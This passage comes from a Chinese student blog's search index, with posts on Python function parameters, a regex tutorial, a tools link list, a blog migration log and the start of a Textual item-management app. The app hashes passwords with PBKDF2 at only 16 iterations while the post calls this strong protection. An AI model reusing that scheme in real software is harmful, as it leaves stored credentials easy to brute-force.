bParam=1919810): 2 print(aParam, bParam) 3 4foo(114514, \u0026#34;Hello, world!\u0026#34;) 5 6# output: 114514 Hello, world! 重要\n当默认参数为可变对象时,该对象会在函数的多次调用之间公用。\n对于上面这个问题,我们不妨举一个例子:\n1def append_to(element, values=[]): 2 values.append(element) 3 return values 4 5print(append_to(10)) 6print(append_to(20)) 7 8# output: 9# [10] 10# [10, 20] 在这段代码中,values 作为默认参数,默认为一个空列表。当这一函数被多次调用时,上一次得到的函数结果被保留,导致下一次调用函数时,得到的不是我们想要的结果。\n如果想要修复这个 bug,可以将代码改写为下面的形式:\n1def append_to(element, values=None): 2 if values is None: 3 values = list() 4 values.append(element) 5 return values 6 7print(append_to(10)) 8print(append_to(20)) 9 10# output: 11# [10] 12# [20] 可变参数 可变参数在声明函数时一般写作 *args,可变参数的数量时可变的,可以是任意多个(包括 0 个)。可变参数中的所有参数都会存储到一个元组中。\n1def foo(param, *args): 2 print(param) 3 print(type(args)) 4 print(args) 5 6foo(114514, 1919810, \u0026#34;Hello, world!\u0026#34;) 7 8# output: 9# 114514r 10# \u0026lt;class \u0026#39;tuple\u0026#39;\u0026gt; 11# (1919810, \u0026#39;Hello, world!\u0026#39;) 重要\n函数声明时,若可变参数的数量多于一个,程序会抛出 SyntaxError。\n这也很好理解。因为函数会将多个传入的参数存储到一个元组中(如果可变参数数量为 0,则存储到一个空元组中),如果一个函数定义了多个可变参数,则无法区分存入的多个参数应当存入哪一个可变参数\n关键字参数 关键字参数在声明函数中一般写作 **kwargs,在调用函数时,以键值对的格式传入参数,随后键值对会存储为字典格式。和可变参数一样,如果传入的关键字参数数量为 0,则字典为空字典。\n1def foo(param, *args, **kwargs): 2 print(type(param), type(args), type(kwargs)) 3 print(param) 4 print(args) 5 print(kwargs) 6 7foo(141892, 1919810, \u0026#34;Hello, world!\u0026#34;, name=\u0026#39;jack_gdn\u0026#39;, university=\u0026#39;NEFU\u0026#39;) 8 9\u0026#34;\u0026#34;\u0026#34; 10output: 11\u0026lt;class \u0026#39;int\u0026#39;\u0026gt; \u0026lt;class \u0026#39;tuple\u0026#39;\u0026gt; \u0026lt;class \u0026#39;dict\u0026#39;\u0026gt; 12141892 13(1919810, \u0026#39;Hello, world!\u0026#39;) 14{\u0026#39;name\u0026#39;: \u0026#39;jack_gdn\u0026#39;, \u0026#39;university\u0026#39;: \u0026#39;NEFU\u0026#39;} 15\u0026#34;\u0026#34;\u0026#34; ","link":"https://jackgdn.github.io/post/args-and-kwargs-in-python/","section":"post","tags":["Python"],"title":"Python 中函数的参数"},{"body":"","link":"https://jackgdn.github.io/tags/regex/","section":"tags","tags":null,"title":"RegEx"},{"body":"\r正则表达式的编写 交互式学习正则表达式:RegexOne 中文\n正则表达式练习:RegExr\n正则表达式文档:MDN Web Docs 正则表达式\n基础篇 标记\n说明 样例 直接匹配,输入什么匹配什么。 RegEx: abc\nMatch: abc\nMatch: xyzabcdef . 匹配任何单个字符。 RegEx: .a\nMatch: 123abc \\ 转义字符,用于匹配某个用于标记的原始字符。 RegEx: \\.\nMatch: Hi.\nMatch: 3.14 [] 匹配特定范围内的单个字符 RegEx: [abc]an\nMatch: banana\nMatch: abcan [-] 用简略的方式表示范围。例如 [2-6] 等价于 [23456] RegEx: [0-3][a-c]\nMatch: 1a2b8y9z [^] 排除特定范围内的单个字符 RegEx: b[^e]r\nMatch: barber \\d 匹配 0-9 中的单个数字字符,相当于 [0-9] RegEx: \\da\nMatch: 01a2b34 \\D 匹配单个非数字字符,相当于 [^0-9] RegEx: \\D2\nMatch: 1aa2b34 \\s 匹配单个空白字符,相当于 [\\f\\n\\r\\t\\v\\u0020\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]。\n其中,\\f\\n\\r\\t\\v 与 ASCII 字符集中相同记号的转义字符同义,\\uhhhh 为 Unicode 字符集对应字符的编号。 RegEx: \\s\nMatch: Hello, world! \\S 匹配单个非空白字符,相当于 [^\\f\\n\\r\\t\\v\\u0020\\u00a0\\u1680\\u180e\\u2000-\\u200a\\u2028\\u2029\\u202f\\u205f\\u3000\\ufeff]。 RegEx: \\S\nMatch: Hello, world! \\w 匹配单个单字字符,等价于 [A-Za-z0-9_]。 RegEx: \\w\nMatch: 3.14 \\W 匹配单个非单字字符,等价于 [^A-Za-z0-9_] RegEx: \\W\nMatch: 3.14 \\b 表示单词边界,匹配一个单词的开始或结束,而不匹配任何实际字符。 RegEx: \\bword\\b\nMatch: word and sword \\B 表示非单词边界,匹配字母或数字中间的位置,而不匹配任何实际字符。 RegEx: \\d\\B\\w\\B\nMatch: 01AB\nMatch: A4A2-g74t + 用于匹配 1 个或更多前面的标记。 RegEx: a+b+\nMatch: aaabb * 用于匹配任意多个前面的标记,匹配的前面标记的数量可以为 0。 RegEx: a+b*c\nMatch: aaabbbccc\nMatch: aaaccc ? 用于匹配前一个标记出现 0 次或 1 次。 RegEx: apples?\nMatch: apple\nMatch: appless {} 用于匹配指定数量的前一个标记。 RegEx: \\d{2}\nMatch: Jan 14, 2005 {,}\n用于匹配指定数量范围的前一个标记,, 后可以为空。当 , 后留空时,则标识匹配前一个标记的最小值。 RegEx: \\d{3,}\nMatch: Jan 14, 2005 ^ 放在标记前,用于匹配开头的字符。 RegEx: ^[Oo]n[Ee]\nMatch: One by onE $ 放在标记后,用于匹配末尾的字符。 RegEx: [Oo]n[Ee]$\nMatch: One by onE | 或,| 前后的条件满足一个即可匹配 RegEx: I love (dogs|cats)\\.\nMatch: I love dogs.\nMatch: I love cats. 进阶篇 捕获组 捕获组用 () 表示,括号中的内容为一组。在一个正则表达式中的捕获组,按照上括号 ( 的顺序进行编号,对于嵌套捕获组同样适用。例如在表达式 ((\\d+) plus )\\d+ 中,捕获组 ((\\d+) plus ) 的编号为 1,而 \\d+ 这一捕获组的编号为 2。\n在正则表达式中,\\ 后直接加一个数字 n 相当于“复制”了第 n 个捕获组,从而允许表达式匹配相同的内容。例如,对于表达式 (\\w{3}) plus \\1 就可以匹配 \u0026quot;one plus one\u0026quot;,\u0026quot;two plus two\u0026quot;,但是无法匹配 \u0026quot;one plus two\u0026quot;。\n如果不想让某个捕获组获得编号,可以在 ( 后加入 ?:,这样捕获组就会成为非捕获组,非捕获组不会获得编号。例如对于 \u0026quot;one plus one, two plus two\u0026quot; 这个字符串中除去 , 之外的内容,可以使用 ((\\w{3}) plus \\2) 匹配,也可以使用 (?:(\\w{3}) plus \\1) 匹配。\n零宽断言 零宽断言有四种,分别是零宽正向先行断言 (?=)(指定后缀)、零宽正向后行断言 (?\u0026lt;=)(指定前缀)、零宽负向先行断言 (?!)(指定后缀不是)、零宽负向后行断言 (?\u0026lt;!)(指定前缀不是)。其中,被指定为或不为前缀或后缀的内容放在零宽断言中下括号 ) 前,先行断言置于标记后,后行断言置于标记前,且零宽断言只用于限定而不参与匹配。\n例如我们想匹配 \u0026quot;hopefully seriously\u0026quot; 这两个单词中 \u0026quot;ly\u0026quot; 前的部分,即 \u0026quot;hopeful\u0026quot; 和 \u0026quot;serious\u0026quot;,就可以使用零宽正向先行断言匹配后缀为 \u0026quot;ly\u0026quot; 的内容,因此我们使用表达式 \\w+(?=ly) 进行匹配,并且 \u0026quot;ly\u0026quot; 并不会被匹配。如果我们想匹配 \u0026quot;Qty.: 100, Price: £150\u0026quot; 中数量 \u0026quot;Qty.\u0026quot; 对应的值,则可使用 (?\u0026lt;!£)\\d{3}\n懒惰匹配 正则表达式默认遵循“贪婪匹配”原则,即尽可能匹配多的字符。例如使用表达式 a\\w+c 匹配字符串 \u0026quot;abcabc\u0026quot; 时,会匹配整个字符串,而非单独某一段 \u0026quot;abc\u0026quot;。如果想让匹配尽量短,则可以使用 “懒惰匹配” 模式。懒惰匹配有如下几种模式:+?(出现至少一次,但是长度尽量短)、*?(出现任意次,但是长度尽量短)、??(至多出现一次,但是长度尽量短)、{,}?(出现指定次数,但是长度尽量短)。\n例如对于字符串 \u0026quot;abcabc\u0026quot;,若需要其匹配为两段 \u0026quot;abc\u0026quot;,则可以使用表达式 a\\w+?c。使用表达式 a\\w{2,7}?c 可以匹配到 \u0026quot;abbbbcabbcabc\u0026quot; 的 \u0026quot;abbbc\u0026quot; 和 \u0026quot;abbc\u0026quot;,而非将 \u0026quot;abbbcabbc\u0026quot; 作为一个整体匹配。\n另外需要注意的是,正则表达式从字符串的开头开始匹配,使用懒惰匹配只会改变匹配到的结尾的位置,而非开头的位置。例如使用 a\\w*?c 匹配字符串 \u0026quot;aaaccc\u0026quot; 会得到 \u0026quot;aaac\u0026quot; 而非 \u0026quot;ac\u0026quot;。\n标志位 到目前为止,本文中出现的所有正则表达式都未使用标志位,而前文中所有的表达式都是默认使用 /g 作为标志位得到的相应的结果。正则表达式中有如下常见标志位:g(global,全局匹配)、i(case intensitive,不区分大小写)、m(multiline,多行匹配)、s(single line,单行匹配)。\n对于上面的正则表达式 a\\w*?c,其完整的写法是 /a\\w*?c/g。例如在匹配 \u0026quot;jack_gdn JackGDN JGDN\u0026quot; 这几个单词时,一个完整的正则表达式是 /j.*?gdn/gi。s 标志位会将多行内容看作一行内容,并且去除 \\n 或 \\r\\n。m 标志位对于 ^ 和 $ 标记格外有用。例如对于一段文本:\n1jack_gdn 2JackGDN 3JGDN 如果使用 /^j.*?gdn/gi 匹配,则只会匹配到第一行的 \u0026quot;jack_gdn\u0026quot;,而如果使用 /^j.*?gdn/gim 匹配,则会将三行内容全部匹配上。\n测试正则表达式 匹配\r匹配结果:\r","link":"https://jackgdn.github.io/post/regex-pt-1/","section":"post","tags":["RegEx"],"title":"正则表达式学习记录(一)——正则表达式的编写"},{"body":" 文档教程 菜鸟教程\nPython 文档\nEsolang\nMarkdown 教程\n代码随想录\n实用工具 CodePen\nCompiler Explorer\nConvertio - 文档转换器\nCyberChef\nDeepL 翻译\nDNS Leak Test\nDraw.io\nEasy 6502\nFactordb\nGit History\nHoLaTeX\nIT Tools\nMagic Data 5\nMermaid Live Editor\nPhotopea\nPYC 反编译\nPyinstxtractor WEB\nUnicode Steganography with 0-Width Characters\nVigenere Solver\n","link":"https://jackgdn.github.io/links/","section":"","tags":null,"title":"链接"},{"body":"经过几天的工作,我将个人博客从 Hexo 迁移至 Hugo 基本完成了。在之前,我使用的是 Hexo-Theme-Async 主题。Hexo 和 Hugo 各有优缺点。Hexo 的优点是简单易上手,只需傻瓜式操作就可以快速搭建完一个美观的博客;Hugo 的优点则是生成速度快并且客制化程度高。\n首先就生成速度快来说,运行 hugo server 这条命令的直观感觉就是比 hexo g 与 hexo s 要快很多倍,并且 Hugo 的热重载模式要优于 Hexo。当我修改完一篇文章时,Hugo 可以直接把我修改的内容展示出来,而使用 Hexo 还要重新生成,再加上 Hexo 极慢的生成速度……Hugo 显然更胜一筹。\n这一主题支持多语言版本,我也借此机会学习与专业相关的英语词汇。 转移到 Hugo 上后,原先大气精美的归档页面和友链页面都消失了;交互式网站标题和图标,还有各种有趣的小组件也都不能再使用。取而代之的是一个更简洁、更商务的博客主题。 这后面一段时间,我还需要尽量翻译几篇博客,给博客加入密码和评论的插件。\n","link":"https://jackgdn.github.io/post/log-2024-08-06/","section":"post","tags":["日志"],"title":"日志-2024-08-06"},{"body":" 东北林业大学在读本科生,学习计算机科学与技术专业。\n","link":"https://jackgdn.github.io/about/","section":"","tags":null,"title":"关于我"},{"body":"项目情况 项目介绍 本项目为一个商品管理应用程序,主要功能是创建、编辑、存储商品信息,同时程序还支持图表视图浏览、密码保护、日志记录等功能。程序使用 Textual 模块创建 TUI(Text-based User Interface,基于文本的用户界面) 程序,用户使用 TUI 与程序交互。我们选择使用 TUI 的理由如下:\n相比于 GUI 程序,TUI 程序可以在没有图形化界面的计算机系统内运行,有较强可移植性;相比于 CLI 程序,TUI 程序更易于用户操作。 用户只需键盘作为输入设备即可与程序交互,若用户使用鼠标则可以获得更佳交互体验。 使用 TUI 作为程序界面的人少之又少,而用于创建 TUI 程序的模块 Textual 的资料更是稀缺。因此,制作 TUI 程序可以体现作者完成这一项目的过程即是学习的过程。 作者个人情怀 程序功能的详细介绍如下:\n权限异常提示。当用户以无读写文件权限的普通用户身份执行程序时,程序会通过 AlertModalScreen 类创建弹窗提醒用户权限不足。此外,为了确保数据安全,程序使用的数据文件、密码存储文件、日志文件的权限均设为 600。 登录模块。登录界面的会根据用户登录状态的不同而显示不同内容(登录界面的可复用性极强,下面三种不同状态下的登录界面都是基于 LoginModalScreen 类创建的):用户首次登录时,由于没有可用账户,程序会提示用户创建新的账户;有可用账户时,程序会在运行时提示用户登录,登录成功后数据才会加载;用户登录成功后,可以修改密码,修改密码后下次登录使用旧密码则会登录失败。用户名和密码输入框都限制了无法输入空格。用户的用户名及密码使用 PBKDF2 与 SHA256 算法(通过 hashlib.pbkdf2_hmac() 函数实现)进行保护,并加入随机密码盐确保密码不会遭到彩虹表攻击。无论用户在何时注册或者修改密码,也无论用户使用何用户名密码,存储到 logininfo 密码文件中的数据几乎没有重复的可能性。 数据处理模块。这一部分是程序的核心部分。用户在登录后会自动加载已保存的数据并且以组件的形式显示在屏幕上。数据包含商品名称、商品单价、商品数量、商品分区以及商品编号,用户可以编辑每一个商品的相关信息或者删除这些信息。其中,商品名称一栏尽可填写大小写字母、数字以及空格;商品单价一栏仅可输入浮点类型或者整型数据,商品数量一栏仅可输入整型数据;商品分区为一个下拉菜单,其中有十种类别可以选择。编辑后的数据需要用户手动保存,数据存储为 TSV 格式。 日志模块。创建用户、登录、登录失败以及保存文件这四种操作及操作时间会被记录并存储到日志文件中。 以表格视图浏览数据。表格视图可以浏览用户实时编辑的数据而非从已保存的文件中读取数据。在表格视图中,用户可以以商品名称、商品单价、商品数量、商品分区以及商品编号为排序依据对数据进行排序。 切换亮/暗显示模式。 命令托盘。保存数据、修改密码、切换亮/暗显示模式、退出程序、联系作者等命令可以在命令托盘(Command Palette)中查找并执行。 显示时间。 程序运行截图 程序代码 1from textual.screen import ModalScreen, Screen 2from textual.widgets import Label, Button, Input, Select, Header, Footer, DataTable, RichLog 3from textual.containers import Container, Horizontal, Center 4import csv 5import binascii 6import hashlib 7from os import urandom, chmod 8from itertools import cycle 9from rich.text import Text 10from rich.syntax import Syntax 11from textual.widget import Widget 12from textual.reactive import reactive 13from textual.message import Message 14from textual import on, work 15from time import asctime 16from textual.command import Provider, Hit 17from textual.app import App 18from textual.binding import Binding 19from os.path import getsize, exists 20from functools import partial 21 22 23class LoginStatus: 24 25 LOGIN_SUCCESS = 1 26 REQUEST_LOGIN = 2 27 FIRST_TIME_LOGIN = 5 28 REQUEST_CHANGE_PASSWORD = 6 29 EXIT_PROGRAM = 0 30 31 class REQUEST_LOGIN_ALT_TEXT: 32 33 input_box = \u0026#34;Password\u0026#34; 34 password = True 35 label = \u0026#34;Welcome to ItemManagementApp. Please login.\u0026#34; 36 button = \u0026#34;Login\u0026#34; 37 button_id = \u0026#34;login\u0026#34; 38 39 class FIRST_TIME_LOGIN_ALT_TEXT: 40 41 input_box = \u0026#34;Password\u0026#34; 42 password = False 43 label = \u0026#34;No available user detected. Please sign up.\u0026#34; 44 button = \u0026#34;Sign Up\u0026#34; 45 button_id = \u0026#34;first_time_login\u0026#34; 46 47 class REQUEST_CHANGE_PASSWORD_ALT_TEXT: 48 49 input_box = \u0026#34;New Password\u0026#34; 50 password = False 51 label = \u0026#34;You are changing your password.\u0026#34; 52 button = \u0026#34;Submit\u0026#34; 53 button_id = \u0026#34;change_password\u0026#34; 54 55 login_status_alt_text = { 56 REQUEST_LOGIN: REQUEST_LOGIN_ALT_TEXT, 57 FIRST_TIME_LOGIN: FIRST_TIME_LOGIN_ALT_TEXT, 58 REQUEST_CHANGE_PASSWORD: REQUEST_CHANGE_PASSWORD_ALT_TEXT 59 } 60 61 62class AlertModalScreen(ModalScreen): 63 64 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 65 AlertModalScreen { 66 align: center middle; 67 } 68 69 AlertModalScreen \u0026gt; #label { 70 align: center bottom; 71 } 72 73 AlertModalScreen \u0026gt; #button { 74 align: center top; 75 } 76 \u0026#34;\u0026#34;\u0026#34; 77 78 def __init__(self, alert_message): 79 super().__init__() 80 self.alert_message = alert_message 81 82 def compose(self): 83 with Container(id=\u0026#34;label\u0026#34;): 84 yield Label(self.alert_message) 85 yield Label(\u0026#34; \u0026#34;) 86 with Container(id=\u0026#34;button\u0026#34;): 87 yield Button(\u0026#34;OK\u0026#34;) 88 89 def on_button_pressed(self): 90 self.dismiss() 91 92 93class ItemModalScreen(ModalScreen): 94 95 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 96 ItemModalScreen { 97 align: center middle; 98 } 99 100 ItemModalScreen \u0026gt; Container { 101 border: thick $background; 102 background: $boost; 103 width: 50%; 104 height: 76%; 105 } 106 107 ItemModalScreen \u0026gt; Container \u0026gt; Label { 108 width: auto; 109 padding-left: 1; 110 padding-right: 1; 111 } 112 113 ItemModalScreen \u0026gt; Container \u0026gt; * { 114 margin: 1; 115 } 116 117 ItemModalScreen \u0026gt; Container \u0026gt; Horizontal { 118 width: 100%; 119 height: auto; 120 dock: bottom; 121 padding-left: 1; 122 padding-right: 1; 123 margin: 0; 124 } 125 126 ItemModalScreen \u0026gt; Container \u0026gt; Horizontal \u0026gt; #submit { 127 align: left middle; 128 width: 1fr; 129 } 130 131 ItemModalScreen \u0026gt; Container \u0026gt; Horizontal \u0026gt; #cancel { 132 align: right middle; 133 width: 1fr; 134 } 135 \u0026#34;\u0026#34;\u0026#34; 136 137 def compose(self): 138 self.name_input = Input(placeholder=\u0026#34;Name\u0026#34;, restrict=r\u0026#34;^[a-zA-Z0-9\\s]+$\u0026#34;) 139 self.unit_price_input = Input(placeholder=\u0026#34;Unit Price\u0026#34;, type=\u0026#34;number\u0026#34;) 140 self.quantity_input = Input(placeholder=\u0026#34;Quantity\u0026#34;, type=\u0026#34;integer\u0026#34;) 141 self.section_select = Select([ 142 (\u0026#34;Food\u0026#34;, \u0026#34;Food\u0026#34;), 143 (\u0026#34;Clothing\u0026#34;, \u0026#34;Clothing\u0026#34;), 144 (\u0026#34;Shoes \u0026amp; Hats\u0026#34;, \u0026#34;Shoes \u0026amp; Hats\u0026#34;), 145 (\u0026#34;Daily Necessities\u0026#34;, \u0026#34;Daily Necessities\u0026#34;), 146 (\u0026#34;Furniture\u0026#34;, \u0026#34;Furniture\u0026#34;), 147 (\u0026#34;Household Appliances\u0026#34;, \u0026#34;Household Appliances\u0026#34;), 148 (\u0026#34;Textiles\u0026#34;, \u0026#34;Textiles\u0026#34;), 149 (\u0026#34;Hardware Materials\u0026#34;, \u0026#34;Hardware Materials\u0026#34;), 150 (\u0026#34;Electric Materials\u0026#34;, \u0026#34;Electric Materials\u0026#34;), 151 (\u0026#34;Kitchenware\u0026#34;, \u0026#34;Kitchenware\u0026#34;) 152 ]) 153 self.id_number_label = Input(placeholder=\u0026#34;ID\u0026#34;) 154 with Container(): 155 yield Label(\u0026#34;You are adding a new item to the list.\u0026#34;) 156 yield Label(\u0026#34;Name\u0026#34;) 157 yield self.name_input 158 yield Label(\u0026#34;Unit Price\u0026#34;) 159 yield self.unit_price_input 160 yield Label(\u0026#34;Quantity\u0026#34;) 161 yield self.quantity_input 162 yield Label(\u0026#34;Section\u0026#34;) 163 yield self.section_select 164 yield Label(\u0026#34;ID\u0026#34;) 165 yield self.id_number_label 166 with Horizontal(): 167 yield Button(\u0026#34;Submit\u0026#34;, id=\u0026#34;submit\u0026#34;, variant=\u0026#34;success\u0026#34;) 168 yield Label(\u0026#34; \u0026#34;) 169 yield Button(\u0026#34;Cancel\u0026#34;, id=\u0026#34;cancel\u0026#34;, variant=\u0026#34;error\u0026#34;) 170 171 @on(Button.Pressed, \u0026#34;#submit\u0026#34;) 172 def submit_request(self): 173 try: 174 data = ( 175 self.name_input.value, 176 str(round(float(self.unit_price_input.value), 2)), 177 self.quantity_input.value, 178 self.section_select.value, 179 self.id_number_label.value 180 ) 181 self.dismiss(data) 182 183 except Exception: 184 self.dismiss() 185 186 @on(Button.Pressed, \u0026#34;#cancel\u0026#34;) 187 def cancel_request(self): 188 self.dismiss() 189 190 191class LoginModalScreen(ModalScreen): 192 193 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 194 LoginModalScreen { 195 align: center middle; 196 } 197 198 LoginModalScreen \u0026gt; Container { 199 border: thick $background; 200 background: $boost; 201 width: 50%; 202 height: 50%; 203 } 204 205 LoginModalScreen \u0026gt; Container \u0026gt; Label { 206 width: 100%; 207 padding-left: 1; 208 padding-right: 1; 209 } 210 211 LoginModalScreen \u0026gt; Container \u0026gt; * { 212 margin: 1; 213 } 214 215 LoginModalScreen \u0026gt; Container \u0026gt; Horizontal { 216 width: 100%; 217 height: auto; 218 dock: bottom; 219 padding-left: 1; 220 padding-right: 1; 221 margin: 0; 222 } 223 224 LoginModalScreen \u0026gt; Container \u0026gt; Horizontal \u0026gt; #login { 225 align: left middle; 226 width: 1fr; 227 } 228 229 LoginModalScreen \u0026gt; Container \u0026gt; Horizontal \u0026gt; #first_time_login { 230 align: left middle; 231 width: 1fr; 232 } 233 234 LoginModalScreen \u0026gt; Container \u0026gt; Horizontal \u0026gt; #change_password { 235 align: left middle; 236 width: 1fr; 237 } 238 239 LoginModalScreen \u0026gt; Container \u0026gt; Horizontal \u0026gt; #cancel { 240 align: left middle; 241 width: 1fr; 242 } 243 \u0026#34;\u0026#34;\u0026#34; 244 245 def __init__(self, status): 246 super().__init__() 247 self.status = status 248 self.status_alt_text = LoginStatus.login_status_alt_text.get(status) 249 250 def compose(self): 251 self.username_input = Input(placeholder=\u0026#34;Username\u0026#34;, restrict=r\u0026#34;^[^\\s]*$\u0026#34;) 252 self.password_input = Input(placeholder=self.status_alt_text.input_box, password=self.status_alt_text.password, restrict=r\u0026#34;^[^\\s]*$\u0026#34;) 253 with Container(): 254 yield Label(self.status_alt_text.label) 255 yield Label(\u0026#34;Username\u0026#34;) 256 yield self.username_input 257 yield Label(self.status_alt_text.input_box) 258 yield self.password_input 259 with Horizontal(): 260 yield Button(self.status_alt_text.button, id=self.status_alt_text.button_id) 261 yield Label(\u0026#34; \u0026#34;) 262 yield Button(\u0026#34;Cancel\u0026#34;, id=\u0026#34;cancel\u0026#34;, variant=\u0026#34;error\u0026#34;) 263 264 @on(Button.Pressed, \u0026#34;#login\u0026#34;) 265 def login_request(self): 266 try: 267 with open(\u0026#34;logininfo\u0026#34;, \u0026#39;r\u0026#39;, newline=\u0026#34;\u0026#34;) as logininfo: 268 reader = csv.reader(logininfo, delimiter=\u0026#39;:\u0026#39;) 269 hashdata = list(reader)[0] 270 if self.__login_hash(hashdata, self.username_input.value, self.password_input.value): 271 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as logfile: 272 logfile.write(f\u0026#34;Login at {asctime()}\\n\u0026#34;) 273 self.dismiss(LoginStatus.LOGIN_SUCCESS) 274 else: 275 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as logfile: 276 logfile.write(f\u0026#34;Attempt to login at {asctime()}\\n\u0026#34;) 277 278 except Exception: 279 pass 280 281 @on(Button.Pressed, \u0026#34;#first_time_login\u0026#34;) 282 def first_time_login_requsest(self): 283 try: 284 hashdata = self.__first_time_login_hash(self.username_input.value, self.password_input.value) 285 with open(\u0026#34;logininfo\u0026#34;, \u0026#39;w\u0026#39;, newline=\u0026#34;\u0026#34;) as logininfo: 286 writer = csv.writer(logininfo, delimiter=\u0026#39;:\u0026#39;) 287 writer.writerow(hashdata) 288 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as logfile: 289 logfile.write(f\u0026#34;Sign up at {asctime()}\\n\u0026#34;) 290 self.dismiss(LoginStatus.LOGIN_SUCCESS) 291 292 except Exception: 293 pass 294 295 @on(Button.Pressed, \u0026#34;#change_password\u0026#34;) 296 def change_password_request(self): 297 try: 298 with open(\u0026#34;logininfo\u0026#34;, \u0026#39;r\u0026#39;, newline=\u0026#34;\u0026#34;) as logininfo: 299 reader = csv.reader(logininfo, delimiter=\u0026#39;:\u0026#39;) 300 init_hashdata = list(reader)[0] 301 hashdata = self.__change_password_hash(init_hashdata, self.username_input.value, self.password_input.value) 302 if hashdata: 303 with open(\u0026#34;logininfo\u0026#34;, \u0026#39;w\u0026#39;, newline=\u0026#34;\u0026#34;) as logininfo: 304 writer = csv.writer(logininfo, delimiter=\u0026#39;:\u0026#39;) 305 writer.writerow(hashdata) 306 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as logfile: 307 logfile.write(f\u0026#34;Change password at {asctime()}\\n\u0026#34;) 308 self.dismiss(LoginStatus.LOGIN_SUCCESS) 309 310 except Exception: 311 pass 312 313 @on(Button.Pressed, \u0026#34;#cancel\u0026#34;) 314 def cancel_request(self): 315 if self.status != LoginStatus.REQUEST_CHANGE_PASSWORD: 316 self.dismiss(LoginStatus.EXIT_PROGRAM) 317 else: 318 self.dismiss() 319 320 def __login_hash(self, hashdata, *args): 321 calcdata = [] 322 pbkdf2data = [] 323 inputdata = list(args) 324 for iter in range(2): 325 salt = binascii.unhexlify(hashdata[iter * 2]) 326 pbkdf2data.append(hashdata[iter * 2 + 1]) 327 calcdata.append(binascii.hexlify(hashlib.pbkdf2_hmac(\u0026#34;sha256\u0026#34;, inputdata[iter].encode(), salt, 16)).decode()) 328 return calcdata == pbkdf2data 329 330 def __first_time_login_hash(self, *args): 331 hashdata = [] 332 for raw in args: 333 salt = urandom(16) 334 hashdata.append(binascii.hexlify(salt).decode()) 335 hashdata.append(binascii.hexlify(hashlib.pbkdf2_hmac(\u0026#34;sha256\u0026#34;, raw.encode(), salt, 16)).decode()) 336 return hashdata 337 338 def __change_password_hash(self, init_hashdata, *args): 339 salt = binascii.unhexlify(init_hashdata[0]) 340 if init_hashdata[1] == binascii.hexlify(hashlib.pbkdf2_hmac(\u0026#34;sha256\u0026#34;, self.username_input.value.encode(), salt, 16)).decode(): 341 hashdata = [] 342 for raw in args: 343 salt = urandom(16) 344 hashdata.append(binascii.hexlify(salt).decode()) 345 hashdata.append(binascii.hexlify(hashlib.pbkdf2_hmac(\u0026#34;sha256\u0026#34;, raw.encode(), salt, 16)).decode()) 346 return hashdata 347 else: 348 return False 349 350 351class DataTableScreen(Screen): 352 353 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 354 DataTableScreen { 355 align: center middle; 356 } 357 358 DataTableScreen \u0026gt; Container { 359 align: center top; 360 width: auto; 361 margin: 1; 362 } 363 364 DataTableScreen \u0026gt; Container \u0026gt; DataTable { 365 align: center top; 366 width: auto; 367 } 368 \u0026#34;\u0026#34;\u0026#34; 369 370 TITLE = \u0026#34;Item Management App\u0026#34; 371 SUB_TITLE = \u0026#34;Data Table View\u0026#34; 372 BINDINGS = [ 373 Binding(key=\u0026#39;n\u0026#39;, action=\u0026#34;sort_by_name\u0026#34;, description=\u0026#34;Sort By Name\u0026#34;, key_display=\u0026#39;N\u0026#39;, priority=True), 374 Binding(key=\u0026#39;N\u0026#39;, action=\u0026#34;sort_by_name\u0026#34;, show=False, priority=True), 375 Binding(key=\u0026#39;u\u0026#39;, action=\u0026#34;sort_by_unit_price\u0026#34;, description=\u0026#34;Sort By Unit Price\u0026#34;, key_display=\u0026#39;U\u0026#39;), 376 Binding(key=\u0026#39;U\u0026#39;, action=\u0026#34;sort_by_unit_price\u0026#34;, show=False), 377 Binding(key=\u0026#39;y\u0026#39;, action=\u0026#34;sort_by_quantity\u0026#34;, description=\u0026#34;Sort By Quantity\u0026#34;, key_display=\u0026#39;Y\u0026#39;), 378 Binding(key=\u0026#39;Y\u0026#39;, action=\u0026#34;sort_by_quantity\u0026#34;, show=False), 379 Binding(key=\u0026#39;e\u0026#39;, action=\u0026#34;sort_by_section\u0026#34;, description=\u0026#34;Sort By Section\u0026#34;, key_display=\u0026#39;E\u0026#39;, priority=True), 380 Binding(key=\u0026#39;E\u0026#39;, action=\u0026#34;sort_by_section\u0026#34;, show=False, priority=True), 381 Binding(key=\u0026#39;i\u0026#39;, action=\u0026#34;sort_by_id\u0026#34;, description=\u0026#34;Sort By ID\u0026#34;, key_display=\u0026#39;I\u0026#39;), 382 Binding(key=\u0026#39;I\u0026#39;, action=\u0026#34;sort_by_id\u0026#34;, show=False), 383 Binding(key=\u0026#39;q\u0026#39;, action=\u0026#34;quit\u0026#34;, description=\u0026#34;Quit\u0026#34;, key_display=\u0026#39;Q\u0026#39;), 384 Binding(key=\u0026#39;Q\u0026#39;, action=\u0026#34;quit\u0026#34;, show=False), 385 Binding(key=\u0026#39;a\u0026#39;, action=\u0026#34;new_item\u0026#34;, description=\u0026#34;New\u0026#34;, key_display=\u0026#39;A\u0026#39;, show=False), 386 Binding(key=\u0026#39;s\u0026#39;, action=\u0026#34;save_data\u0026#34;, description=\u0026#34;Save\u0026#34;, key_display=\u0026#39;S\u0026#39;, show=False), 387 Binding(key=\u0026#39;v\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, description=\u0026#34;Data Table View\u0026#34;, key_display=\u0026#39;V\u0026#39;, show=False), 388 Binding(key=\u0026#39;c\u0026#39;, action=\u0026#34;change_password\u0026#34;, description=\u0026#34;Change Password\u0026#34;, key_display=\u0026#39;C\u0026#39;, show=False), 389 Binding(key=\u0026#39;l\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, description=\u0026#34;Read Log File\u0026#34;, key_display=\u0026#39;L\u0026#39;, show=False), 390 